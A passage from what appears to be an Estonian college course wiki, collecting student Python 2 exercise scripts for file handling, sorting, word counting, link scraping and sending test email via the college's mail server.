        print(&amp;quot;URL:&amp;quot;, a_line[0], &amp;quot;String&amp;quot;, a_line[1])&lt;br /&gt;
        try:&lt;br /&gt;
            u = urllib2.urlopen(a_line[0])&lt;br /&gt;
            sisu = u.read()&lt;br /&gt;
            print(&amp;quot;Srtingi leidsin&amp;quot;, sisu.count(a_line[1].strip()), &amp;quot;korda&amp;quot;)&lt;br /&gt;
        except Exception:&lt;br /&gt;
            print(&amp;quot;URLi avamine ebaõnnestus&amp;quot;)&lt;br /&gt;
        print(&amp;quot;URL:&amp;quot;, a_line[0], &amp;quot;String&amp;quot;, a_line[1])&lt;br /&gt;
&lt;br /&gt;
except IOError:&lt;br /&gt;
    print(&amp;quot;Faili avamine ebaõnnestus&amp;quot;)&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
# Johannes Tammekänd - A22, 18.03.2014&lt;br /&gt;
# Programm mis võtab käsurea argumendina sisendfaili ning leiab sellest &lt;br /&gt;
# sisendfailist kõige pikima sõna ja väljastab selle sõna koos reanumbriga.&lt;br /&gt;
&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
if len(sys.argv) != 2:&lt;br /&gt;
	print &amp;quot;Argumentide arv on vale!&amp;quot;&lt;br /&gt;
	print &amp;quot;Kasuta programmi &amp;quot;, sys.argv[0], &amp;quot;sisendfail&amp;quot;&lt;br /&gt;
	sys.exit(1)&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
	pikim = open(sys.argv[1], &#039;r&#039;)&lt;br /&gt;
	lookup = max(pikim, key = len)&lt;br /&gt;
	lookup = max(lookup.split(), key=len)&lt;br /&gt;
	print lookup&lt;br /&gt;
except IOError: &lt;br /&gt;
	print &amp;quot;Sisendfaili ei saa avada.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
with open(sys.argv[1]) as minuFail:&lt;br /&gt;
	for num, line in enumerate(minuFail, 1):&lt;br /&gt;
		if lookup in line:&lt;br /&gt;
			print &#039;Sõna oli real:&#039;, num&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
print &amp;quot;Programm lõpetas töö&amp;quot;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
# Johannes Tammekänd - A22, 18.03.2014&lt;br /&gt;
# Programm avab faili, leiab sealt kõige pikema rea ning väljastab selle.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
if len(sys.argv) != 2:&lt;br /&gt;
	print &amp;quot;Argumentide arv on vale!&amp;quot;&lt;br /&gt;
	print &amp;quot;Kasuta programmi &amp;quot;, sys.argv[0], &amp;quot;sisendfail&amp;quot;&lt;br /&gt;
	sys.exit(1)&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
	pikim = open(sys.argv[1], &#039;r&#039;)&lt;br /&gt;
	lookup = max(pikim, key = len)&lt;br /&gt;
	print lookup&lt;br /&gt;
except IOError: &lt;br /&gt;
	print &amp;quot;Sisendfaili ei saa avada.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
print &amp;quot;Programm lõpetas töö&amp;quot;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
# Programm avab faili, leiab sealt kõige pikema rea ning väljastab selle&lt;br /&gt;
# Autor: Karl-Martin Karlson&lt;br /&gt;
&lt;br /&gt;
from __future__ import print_function&lt;br /&gt;
&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
#Kontrollib käsurea argumentide arvu&lt;br /&gt;
&lt;br /&gt;
if len(sys.argv) != 2:&lt;br /&gt;
    print(&amp;quot;Argumentide arv on vale!&amp;quot;)&lt;br /&gt;
    print(&amp;quot;Kasuta programmi&amp;quot;, sys.argv[0], &amp;quot;sisendfail&amp;quot;)&lt;br /&gt;
    sys.exit(1)&lt;br /&gt;
&lt;br /&gt;
failinimi = sys.argv[1]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
    ifh = open(sys.argv[1], &#039;r&#039;)&lt;br /&gt;
except I0Error:&lt;br /&gt;
    print(&amp;quot;Faili ei saanud avada&amp;quot;)&lt;br /&gt;
    sys.exit(1)&lt;br /&gt;
    &lt;br /&gt;
reapikkus = 0&lt;br /&gt;
pikimrida = &amp;quot;Tere&amp;quot;&lt;br /&gt;
&lt;br /&gt;
ifh=open(failinimi)&lt;br /&gt;
while True:&lt;br /&gt;
    line = ifh.readline()&lt;br /&gt;
    if reapikkus &amp;lt; len(line):&lt;br /&gt;
        reapikkus = len(line)&lt;br /&gt;
        pikimrida = line       &lt;br /&gt;
    if not line:&lt;br /&gt;
        break&lt;br /&gt;
ifh.close()&lt;br /&gt;
print (pikimrida)&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python&lt;br /&gt;
# -*- coding: utf-8  -*-&lt;br /&gt;
# Skript kontrollib argumentide arvu, avab argumendina antud faili(kontrollides eelnevalt selle&lt;br /&gt;
# olemasolu ning õiguseid sellest lugemiseks) ning seejärel prindib pikima rea välja.&lt;br /&gt;
# Autor: Marten Mattisen&lt;br /&gt;
import sys&lt;br /&gt;
if (len(sys.argv) != 2):&lt;br /&gt;
    print (&amp;quot;Argumentide arv on vale!&amp;quot;)&lt;br /&gt;
    sys.exit(2)&lt;br /&gt;
try:&lt;br /&gt;
    print &amp;quot;Pikim rida:&amp;quot;+max(open(sys.argv[1], &#039;r&#039;), key=len)&lt;br /&gt;
except IOError:&lt;br /&gt;
    print &#039;Sisendfail on puudu või pole sellest lugemiseks õiguseid&#039;&lt;br /&gt;
    sys.exit(1)&lt;br /&gt;
print &#039;Skript on töö lõpetanud.&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
# Tere täpiline kommentaar&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
print sys.argv[0], sys.argv[1]&lt;br /&gt;
print &#039;Tere maailm!&#039;&lt;br /&gt;
&lt;br /&gt;
muutuja = 5&lt;br /&gt;
&lt;br /&gt;
teine_muutuja = 2.0&lt;br /&gt;
&lt;br /&gt;
print &#039;jagatis on&#039;, muutuja/teine_muutuja&lt;br /&gt;
print &#039;Palun sisesta midagi&#039;&lt;br /&gt;
vastus = int(raw_input())&lt;br /&gt;
&lt;br /&gt;
print &#039;sisestasid&#039;, vastus/2.0&lt;br /&gt;
&lt;br /&gt;
if vastus%2 == 0:&lt;br /&gt;
    print &#039;vastus on paarisarv&#039;&lt;br /&gt;
else:&lt;br /&gt;
    print &#039;vastus on paaritu arv&#039;&lt;br /&gt;
    &lt;br /&gt;
for i in range(1,9999):&lt;br /&gt;
    print &#039;i =&#039;,i&lt;br /&gt;
    &lt;br /&gt;
while True:&lt;br /&gt;
    print &amp;quot;sisesta midagi&amp;quot;&lt;br /&gt;
    a = raw_input()&lt;br /&gt;
    if a == &#039;q&#039;:&lt;br /&gt;
        print &#039;programm lõpetas töö&#039;&lt;br /&gt;
        sys.exit(0)    &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pythoni programm, mis kontrollib, kas arv jagub 10-ga&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
&lt;br /&gt;
while True:&lt;br /&gt;
    print &#039;Kirjuta mingi arv, mis jagub 10ga&#039;&lt;br /&gt;
#raw_input annab stringi, see on vaja teha integer tüüpi&lt;br /&gt;
    kasutajaarv = int(raw_input())&lt;br /&gt;
    if kasutajaarv%10 == 0:&lt;br /&gt;
        break&lt;br /&gt;
&lt;br /&gt;
print &#039;Jagus! Programm lõpetab!&#039;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Skript väljastab esmalt argumentide arvu ja argumendid (iga argument eraldi real)&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
#loo skript, mis saab käsurealt 0..n argumenti&lt;br /&gt;
#skript väljastab esmalt argumentide arvu ja argumendid (iga argument eraldi real)&lt;br /&gt;
&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
print &#039;argumentide arv:&#039;, len(sys.argv)&lt;br /&gt;
&lt;br /&gt;
for i in sys.argv:&lt;br /&gt;
     print &amp;quot;Argument: &amp;quot;, i&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pythoni programm, mis väljastab ainult paaritud argumendid&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
#Loo skript mis saab käsurealt 0..n argumenti&lt;br /&gt;
#väljastab kõik paaritud argumendid (iga argument eraldi real)&lt;br /&gt;
&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
for i in sys.argv[1:]:&lt;br /&gt;
    if int(i)%2 == 0:&lt;br /&gt;
        pass&lt;br /&gt;
    else:&lt;br /&gt;
        print &#039;Paaritu argument: &#039;, i&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pythoni programm, mis kirjutab faili, kus on 1000 rida ja igal real on juhuarv 1..1000&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
&lt;br /&gt;
import random&lt;br /&gt;
fo = open(&amp;quot;fail.txt&amp;quot;, &#039;w&#039;)&lt;br /&gt;
&lt;br /&gt;
for x in range(1, 1001):&lt;br /&gt;
	ran=str(random.randrange(1,1000+1))	&lt;br /&gt;
	fo.write(ran+&#039;\n&#039;)&lt;br /&gt;
&lt;br /&gt;
fo.close()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Skript sorteerib fail.txt-s olevad numbrid ja väljastab uute faili&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
#Skript sorteerib fail.txt-s olevad numbrid ja väljastab &lt;br /&gt;
# uute faili&lt;br /&gt;
&lt;br /&gt;
fo = open(&amp;quot;fail.txt&amp;quot;, &amp;quot;r&amp;quot; )&lt;br /&gt;
fo2 = open(&amp;quot;sorteeritud.txt&amp;quot;, &#039;w&#039;)&lt;br /&gt;
&lt;br /&gt;
lines = fo.readlines()&lt;br /&gt;
results = map(int, lines)&lt;br /&gt;
&lt;br /&gt;
results.sort()&lt;br /&gt;
&lt;br /&gt;
for item in results:&lt;br /&gt;
  fo2.write(&amp;quot;%s\n&amp;quot; % item)&lt;br /&gt;
&lt;br /&gt;
fo.close()&lt;br /&gt;
fo2.close()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Skript sorteerib fail.txt-s olevad numbrid ja väljastab uute faili&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
#Skript sorteerib fail.txt-s olevad numbrid ja väljastab &lt;br /&gt;
# uute faili&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
f = open(sys.argv[1], &#039;r&#039;)&lt;br /&gt;
lines = f.readlines()&lt;br /&gt;
lines.sort(key = int)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
f = open(&#039;uusfail3.txt&#039;, &#039;w&#039;)&lt;br /&gt;
for number in lines:&lt;br /&gt;
	f.write(number)&lt;br /&gt;
f.close&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Skript sorteerib fail.txt-s olevad numbrid ja väljastab ainult unikaalsed numbrid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
#Skript sorteerib fail.txt-s olevad numbrid ja väljastab ainult&lt;br /&gt;
# unikaalsed numbrid&lt;br /&gt;
&lt;br /&gt;
fo = open(&amp;quot;fail.txt&amp;quot;, &amp;quot;r&amp;quot; )&lt;br /&gt;
fo2 = open(&amp;quot;unikaalsed.txt&amp;quot;, &#039;w&#039;)&lt;br /&gt;
&lt;br /&gt;
lines = fo.readlines()&lt;br /&gt;
results = map(int, lines)&lt;br /&gt;
&lt;br /&gt;
results2 = list(set(results))&lt;br /&gt;
results2.sort()&lt;br /&gt;
&lt;br /&gt;
for item in results2:&lt;br /&gt;
  fo2.write(&amp;quot;%s\n&amp;quot; % item)&lt;br /&gt;
&lt;br /&gt;
fo.close()&lt;br /&gt;
fo2.close()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Skript, mis tagastab käsurealt etteantud kasutaja UID&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
&lt;br /&gt;
import sys&lt;br /&gt;
from pwd import getpwnam&lt;br /&gt;
print getpwnam(sys.argv[1]).pw_uid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Skript, mis väljastan NxN ühikmaatriksi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
# Väljastab NxN ühikmaatriksi&lt;br /&gt;
&lt;br /&gt;
import sys&lt;br /&gt;
import numpy as np&lt;br /&gt;
&lt;br /&gt;
n = float(sys.argv[1])&lt;br /&gt;
&lt;br /&gt;
print np.identity(n)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Skript loeb etteantud teksti failist ridade, sõnade ja tähemärkide arvu&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
# Skript loeb etteantud teksti failist ridade, sõnade ja tähemärkide arvu&lt;br /&gt;
from sys import argv&lt;br /&gt;
&lt;br /&gt;
if len(argv) &amp;lt; 2:&lt;br /&gt;
    print &amp;quot;Sa ei sisestanud ühtegi argumenti, mida kontrollida&amp;quot;&lt;br /&gt;
    exit(1)&lt;br /&gt;
    &lt;br /&gt;
fh=open(argv[1])&lt;br /&gt;
read = fh.readlines()&lt;br /&gt;
&lt;br /&gt;
sonad = 0&lt;br /&gt;
tahed = 0&lt;br /&gt;
for rida in read:&lt;br /&gt;
    tahed = tahed + len(rida)&lt;br /&gt;
    sonad = sonad + len(rida.split())&lt;br /&gt;
&lt;br /&gt;
print &amp;quot;Ridu:&amp;quot; , len(read)&lt;br /&gt;
print &amp;quot;Sonu:&amp;quot; , sonad&lt;br /&gt;
print &amp;quot;Tähti:&amp;quot; , tahed&lt;br /&gt;
&lt;br /&gt;
fh.close()&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Skript loeb etteantud teksti failist ridade, sõnade ja tähemärkide arvu&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
# Tee skript, mis leiab käsurealt etteantud tekstifaili&lt;br /&gt;
# ridade arvu, tähtede arvu ja sõnade arvu ja väljastab ekraanile&lt;br /&gt;
&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
f = open(sys.argv[1], &amp;quot;r&amp;quot; )&lt;br /&gt;
&lt;br /&gt;
lines = f.readlines()&lt;br /&gt;
count = 0&lt;br /&gt;
sonad = 0&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
for i in range(0,len(lines)):&lt;br /&gt;
    count = count + len(lines[i])&lt;br /&gt;
    sonad = sonad + len(lines[i].split(&amp;quot; &amp;quot;))&lt;br /&gt;
    &lt;br /&gt;
print &amp;quot;Ridu:&amp;quot;, len(lines)&lt;br /&gt;
print &amp;quot;Tähemärke:&amp;quot;, count&lt;br /&gt;
print &amp;quot;Sõnu:&amp;quot;, sonad&lt;br /&gt;
&lt;br /&gt;
f.close()&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Skript kirjutab tekstifaili 100 rida rea numbrite ja random sisuga, komadega eraldatult&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
# Tee skript, mis kirjutab komadega eraldatud tekstifaili 100 rida, igas reas järgnev info:&lt;br /&gt;
# rea nr, random nr 1..100, random märk pikkusega 0..32&lt;br /&gt;
&lt;br /&gt;
import sys&lt;br /&gt;
import random&lt;br /&gt;
import string&lt;br /&gt;
&lt;br /&gt;
f = open(sys.argv[1], &amp;quot;w&amp;quot; )&lt;br /&gt;
&lt;br /&gt;
for i in range(1, 101):&lt;br /&gt;
    ran=str(random.randrange(1,100+1))	&lt;br /&gt;
    f.write(str(i)+&#039;,&#039;)&lt;br /&gt;
    f.write(ran+&#039;,&#039;)&lt;br /&gt;
    for j in range(1,random.randrange(1,32+1)):&lt;br /&gt;
        f.write(random.choice(string.ascii_letters))&lt;br /&gt;
    f.write(&#039;\n&#039;)&lt;br /&gt;
 &lt;br /&gt;
f.close()&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Skript kirjutab ette antud faili 100 rida. Igal real on rea number, suvaline number 1 ja 100 vahel ja suvaline tähemärk, mis on komadega eraldatud&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
# Skript kirjutab ette antud faili 100 rida. Igal real on rea number, suvaline number 1 ja 100 vahel ja suvaline tähemärk, mis on komadega eraldatud&lt;br /&gt;
from sys import argv&lt;br /&gt;
from random import randint&lt;br /&gt;
import random&lt;br /&gt;
letters=&#039;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ&#039;&lt;br /&gt;
&lt;br /&gt;
if len(argv) &amp;lt; 2:&lt;br /&gt;
    print &amp;quot;Sa ei sisestanud ühtegi argumenti, mida kontrollida&amp;quot;&lt;br /&gt;
    exit(1)&lt;br /&gt;
    &lt;br /&gt;
fh=open(argv[1], &amp;quot;w&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
sonad = 0&lt;br /&gt;
tahed = 0&lt;br /&gt;
for rida in range(100):&lt;br /&gt;
    fh.write(str(rida+1) + &amp;quot;,&amp;quot; + str(randint(1, 101)) + &amp;quot;,&amp;quot; + random.choice(letters) + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    &lt;br /&gt;
fh.close()&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Skript saadab meili kasutades smtplib teeki ning on praktiliselt identne StackOverflow lehel asuva koodiga, mille leiab sõnumi sisust.&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
# Üllar Seerme, A21&lt;br /&gt;
# 25.03.14&lt;br /&gt;
import smtplib&lt;br /&gt;
&lt;br /&gt;
FROM = &amp;quot;&amp;quot;&lt;br /&gt;
TO = [&amp;quot;&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
SUBJECT = &amp;quot;Hello World!&amp;quot;&lt;br /&gt;
TEXT = &amp;quot;Greetings from http://stackoverflow.com/questions/6270782/sending-email-with-python&amp;quot;&lt;br /&gt;
&lt;br /&gt;
MESSAGE = &amp;quot;&amp;quot;&amp;quot;\&lt;br /&gt;
From: %s&lt;br /&gt;
To: %s&lt;br /&gt;
Subject: %s&lt;br /&gt;
&lt;br /&gt;
%s&lt;br /&gt;
&amp;quot;&amp;quot;&amp;quot; % (FROM, &amp;quot;, &amp;quot;.join(TO), SUBJECT, TEXT)&lt;br /&gt;
&lt;br /&gt;
server = smtplib.SMTP(&amp;quot;mail.itcollege.ee&amp;quot;)&lt;br /&gt;
server.sendmail(FROM, TO, MESSAGE)&lt;br /&gt;
server.quit()&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
skript saadab meili kasutades smtplib teeki. Süntaksi sain tutorialspoint.com dokumentatsioonidest.&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
#A21 Juri Kononov Ilma autentimist meili saatmine&lt;br /&gt;
import smtplib&lt;br /&gt;
&lt;br /&gt;
smtplib.SMTP(&#039;mail.itcollege.ee&#039;).sendmail(&#039;kellelt@itcollege.ee&#039;, &#039;kellele@itcollege.ee&#039;, &amp;quot;emaili sisu&amp;quot;)&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
# Autor: Karl-Martin Karlson&lt;br /&gt;
# Rühm: A21&lt;br /&gt;
# Skript saadab enda sisu valitud meili aadressile&lt;br /&gt;
&lt;br /&gt;
import smtplib&lt;br /&gt;
&lt;br /&gt;
with open(__file__) as f:&lt;br /&gt;
    msg = f.read()&lt;br /&gt;
&lt;br /&gt;
print &amp;quot;Message length is &amp;quot; + repr(len(msg))&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
server = smtplib.SMTP(&amp;quot;172.16.0.160&amp;quot;, 25)&lt;br /&gt;
server.sendmail(&amp;quot;saatja@itcollege.ee&amp;quot;, &amp;quot;saaja@itcollege.ee&amp;quot;, msg)&lt;br /&gt;
server.quit()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
# Skript läheb ette antud veebilehele ning kopeerib&lt;br /&gt;
# kõik leitud URlid lingid.txt faili&lt;br /&gt;
&lt;br /&gt;
import urllib2&lt;br /&gt;
import re&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
if len(sys.argv) != 2:&lt;br /&gt;
    print(&amp;quot;Argumentide arv on vale!&amp;quot;)&lt;br /&gt;
    print(&amp;quot;Kasuta programmi&amp;quot;, sys.argv[0], &amp;quot;sisendfail&amp;quot;)&lt;br /&gt;
    sys.exit(1)&lt;br /&gt;
    &lt;br /&gt;
url = sys.argv[1]&lt;br /&gt;
f = open(&#039;lingid.txt&#039;,&#039;w&#039;)&lt;br /&gt;
&lt;br /&gt;
page = urllib2.urlopen(url)&lt;br /&gt;
page = page.read()&lt;br /&gt;
links = re.findall(r&amp;quot;&amp;lt;a.*?\s*href=\&amp;quot;(.*?)\&amp;quot;.*?&amp;gt;(.*?)&amp;lt;/a&amp;gt;&amp;quot;, page)&lt;br /&gt;
&lt;br /&gt;
for link in links:&lt;br /&gt;
    f.write(&#039;%s \n&#039; % (link[0]))&lt;br /&gt;
&lt;br /&gt;
f.close()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
# Johannes Tammekänd - A22 - 25.03.14&lt;br /&gt;
# Leiab etteantud URL&#039;i lähtekoodist kõik lingid.&lt;br /&gt;
&lt;br /&gt;
import urllib2&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
if len(sys.argv) != 2:&lt;br /&gt;
  print &amp;quot;Argumentide arv on vale!&amp;quot;&lt;br /&gt;
  print &amp;quot;Kasuta programmi &amp;quot;, sys.argv[0], &amp;quot;http://www.veebiaadress.com&amp;quot;&lt;br /&gt;
  sys.exit(1)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
from BeautifulSoup import BeautifulSoup&lt;br /&gt;
page = urllib2.urlopen(sys.argv[1])&lt;br /&gt;
soup = BeautifulSoup(page.read())&lt;br /&gt;
links = soup.findAll(&amp;quot;a&amp;quot;)&lt;br /&gt;
for link in links:&lt;br /&gt;
    print link[&amp;quot;href&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
# Imre Lebedev - A22 - 08.04.2014&lt;br /&gt;
# Võtab sisendfailiks logifaili ja kirjutab logifaili väljudnisse järgmiselt&lt;br /&gt;
# Et logifaili ajad hakkaks enda aega lugema esimese logirea järgi&lt;br /&gt;
import sys&lt;br /&gt;
import re&lt;br /&gt;
import datetime&lt;br /&gt;
&lt;br /&gt;
if len(sys.argv) != 2:&lt;br /&gt;
    print(&amp;quot;Argumentide arv on vale!&amp;quot;)&lt;br /&gt;
    print(&amp;quot;Kasuta programmi&amp;quot;, sys.argv[0], &amp;quot;sisendfail&amp;quot;)&lt;br /&gt;
    sys.exit(1)&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
    fh = open(&#039;/home/valjunddomeen.txt&#039;,&#039;w&#039;)&lt;br /&gt;
except IOError:&lt;br /&gt;
    print &amp;quot;Väljundfail on juba olemas või ei ole sinna võimalik kirjutada&amp;quot;&lt;br /&gt;
    sys.exit(1)&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
    f = open(sys.argv[1],&#039;r&#039;)&lt;br /&gt;
except IOError:&lt;br /&gt;
    print &amp;quot;Sisendfail puudub või ei ole piisavalt õigusi selle avamiseks&amp;quot;&lt;br /&gt;
    sys.exit(1)&lt;br /&gt;
&lt;br /&gt;
for line in f:&lt;br /&gt;
    try:&lt;br /&gt;
        info=line.split(&amp;quot;@&amp;quot;)[1]&lt;br /&gt;
        fh.write(info)&lt;br /&gt;
    except IOError:&lt;br /&gt;
        print &amp;quot;Faili sisse ei õnnestu kirjutada&amp;quot;&lt;br /&gt;
f.close()&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
# Johannes Tammekänd, A22&lt;br /&gt;
# Skript, mis loeb sisendfailist emailid ja väljundfaili kirjutab emaili domeenid.&lt;br /&gt;
&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
if len(sys.argv) != 3:&lt;br /&gt;
	print &amp;quot;Argumentide arv on vale!&amp;quot;&lt;br /&gt;
	print &amp;quot;Kasuta programmi &amp;quot;, sys.argv[0], &amp;quot;Sisendfail Väljundfail&amp;quot;&lt;br /&gt;
	sys.exit(1)&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
	input_file = open(sys.argv[1], &#039;r&#039;)&lt;br /&gt;
